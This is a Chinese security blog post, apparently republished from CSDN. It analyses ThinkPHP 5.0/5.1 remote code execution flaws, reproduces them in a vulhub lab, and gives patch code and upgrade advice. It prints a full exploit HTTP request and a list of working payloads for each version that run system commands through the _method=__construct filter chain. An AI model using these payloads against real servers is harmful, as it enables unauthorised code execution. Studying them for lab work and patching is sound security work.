php5漏洞汇总,ThinkPHP 5.x RCE 漏洞分析与利用总结

一、ThinkPHP 5.0.23 rce漏洞复现与总结

漏洞复现

thinkphp 5.0.23 rce

thinkphp 5.0.23 rce源码下载:

github:https://github.com/top-think/framework/tree/v5.0.231

影响版本

ThinkPHP 5.0系列 < 5.0.23

ThinkPHP 5.1系列 < 5.1.31

安全版本

ThinkPHP 5.0系列 5.0.23

ThinkPHP 5.1系列 5.1.31

漏洞原理

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

漏洞利用

1.启动vulhub靶场,访问

344d26d8a300dc685d0b94dcef68bddd.png

2.抓包复现,完整的数据是:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd1

90e3849aa0be21025a745fa68ca3c0ba.png

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls1

ceeb4060172ba550971cb15a00a2b8ba.png

3.完整数据包:

POST /index.php?s=captcha HTTP/1.1

Host: localhost

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id1

2

3

4

5

6

7

8

9

10

11

手动修正

5.1版本

thinkphp/library/think/route/dispatch/Url.php 类的parseUrl方法,解析控制器后加上 添加

if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller);

}1

2

3

4

5.0版本

thinkphp/library/think/App.php 类的module方法的获取控制器的代码后面加上

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller);

}1

2

3

4

框架升级

进入到代码根目录 执行 composer update

目前thinkphp的 5.0(5.0.23) 以及 5.1(5.1.31) 的最新版本,已经修复此漏洞,建议大家项目都用目前最新版本。

二、ThinkPHP 5.x RCE 漏洞分析与利用总结

接下来将为大家进行漏洞分析以及对各个版本、场景下的利用进行详细的总结。

漏洞范围: <= 5.0.23、<= 5.1.32

5.0.x补丁:

https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de0031

5.1.x补丁:

https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e61

Payload总结

1、<= 5.0.13

1.POST /?s=index/index

2.s=whoami&_method=__construct&method=&filter[]=system1

2

2、<= 5.0.23、5.1.0 <= 5.1.16

开启debug()

1.POST /

2._method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al1

2

3、<= 5.0.23

需要captcha的method路由,如果存在其他method路由,也是可以将captcha换为其他。

1.POST /?s=captcha HTTP/1.1

2._method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get1

2

4、5.0.0 <= version <= 5.1.32

error_reporting(0)关闭报错

1.POST /

2.c=exec&f=calc.exe&_method=filter1

2

学习参考链接:

1、https://blog.csdn.net/wuxianbing2012/article/details/104897634?utm_medium=distribute.pc_relevant.none-task-blog-searchFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-searchFromBaidu-1.control

2、https://blog.csdn.net/dengzhasong7076/article/details/102139816?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.control1

2

ERRORS团队

4b4e836a561cd32e2a6c74729abd2d6e.png

ERRORS团队源于网络空间安全的兴趣爱好者共同组建,致力于从网络安全的各个层面维护国家网络空间安全,团队成员拥有专业的渗透测试技术、安全评估能力、逆向分析技巧以及丰富的项目经验和实战经验。该团队是一支年轻的有生命力的团队,旨在通过知识分享、技术探讨提升网络安全意识和专业技能。

加入我们:

或者邮件联系: chihou.pro@gmail.com

文章来源: blog.csdn.net,作者:德古拉的杂货铺,版权归原作者所有,如需转载,请联系作者。

原文链接:blog.csdn.net/weixin_41438728/article/details/109847661

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值